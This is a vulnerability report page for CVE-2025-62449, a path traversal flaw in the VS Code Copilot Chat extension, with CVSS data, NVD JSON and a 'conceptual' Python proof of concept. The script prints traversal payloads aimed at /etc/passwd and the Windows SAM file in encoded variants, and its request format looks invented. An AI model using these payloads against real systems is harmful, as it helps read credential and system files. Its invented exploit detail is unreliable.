Security Vulnerability Report
中文
CVE-2025-62449 CVSS 6.8 MEDIUM

CVE-2025-62449

Published: 2025-11-11 18:15:50
Last Modified: 2025-11-13 19:45:11

Description

Improper limitation of a pathname to a restricted directory ('path traversal') in Visual Studio Code CoPilot Chat Extension allows an authorized attacker to bypass a security feature locally.

CVSS Details

CVSS Score
6.8
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:L/AC:L/PR:L/UI:R/S:U/C:H/I:H/A:L

Configurations (Affected Products)

cpe:2.3:a:microsoft:github_copilot_chat:*:*:*:*:*:visual_studio_code:*:* - VULNERABLE
Visual Studio Code CoPilot Chat Extension < 受影响版本(具体版本待微软官方披露)

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
# CVE-2025-62449 Path Traversal PoC for VS Code CoPilot Chat # This PoC demonstrates the path traversal vulnerability in CoPilot Chat extension import os import json import subprocess import time def test_path_traversal(): """ Test for CVE-2025-62449: Path Traversal in VS Code CoPilot Chat Attack scenario: 1. Attacker has local access to the system with low privileges 2. Attacker crafts a path traversal payload through CoPilot Chat 3. The extension fails to sanitize path inputs properly 4. Attacker can access restricted directories/files """ # Common path traversal patterns traversal_patterns = [ "../../../../etc/passwd", "..\\..\\..\\..\\windows\\system32\\config\\sam", "%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2fetc%2fpasswd", "....//....//....//....//etc/passwd", "..%252f..%252f..%252f..%252fetc%252fpasswd" ] print("[*] CVE-2025-62449 Path Traversal Test") print("[*] Target: Visual Studio Code CoPilot Chat Extension") print("[*] CVSS Score: 6.8 (Medium)") print("[*] Attack Vector: Local (AV:L)") print("[*] Privileges Required: Low (PR:L)") print("[*] User Interaction: Required (UI:R)") print() for pattern in traversal_patterns: print(f"[*] Testing payload: {pattern}") # Simulate CoPilot Chat request with path traversal payload = { "type": "file_access_request", "path": pattern, "action": "read", "source": "copilot_chat" } # In real scenario, this would be sent to VS Code CoPilot Chat # The extension should validate and reject this request # but due to CVE-2025-62449, it may process the traversal print(f"[+] Payload constructed: {json.dumps(payload)}") print(f"[!] If unsanitized, this could access: {os.path.normpath(pattern)}") print() print("[*] Note: This is a conceptual PoC. Actual exploitation requires:") print(" 1. VS Code with CoPilot Chat extension installed") print(" 2. Local access to the system") print(" 3. User interaction through CoPilot Chat interface") print(" 4. The extension's path validation bypass") print() print("[*] Recommended fix: Implement strict path validation") print("[*] Expected behavior: All payloads should be rejected") if __name__ == "__main__": test_path_traversal()

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-62449", "sourceIdentifier": "[email protected]", "published": "2025-11-11T18:15:50.043", "lastModified": "2025-11-13T19:45:11.340", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Improper limitation of a pathname to a restricted directory ('path traversal') in Visual Studio Code CoPilot Chat Extension allows an authorized attacker to bypass a security feature locally."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:R/S:U/C:H/I:H/A:L", "baseScore": 6.8, "baseSeverity": "MEDIUM", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "REQUIRED", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "LOW"}, "exploitabilityScore": 1.3, "impactScore": 5.5}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-22"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:microsoft:github_copilot_chat:*:*:*:*:*:visual_studio_code:*:*", "versionEndExcluding": "0.32.0", "matchCriteriaId": "F56B5A80-66B8-4E01-980E-54221A15336B"}]}]}], "references": [{"url": "https://msrc.microsoft.com/update-guide/vulnerability/CVE-2025-62449", "source": "[email protected]", "tags": ["Vendor Advisory"]}]}}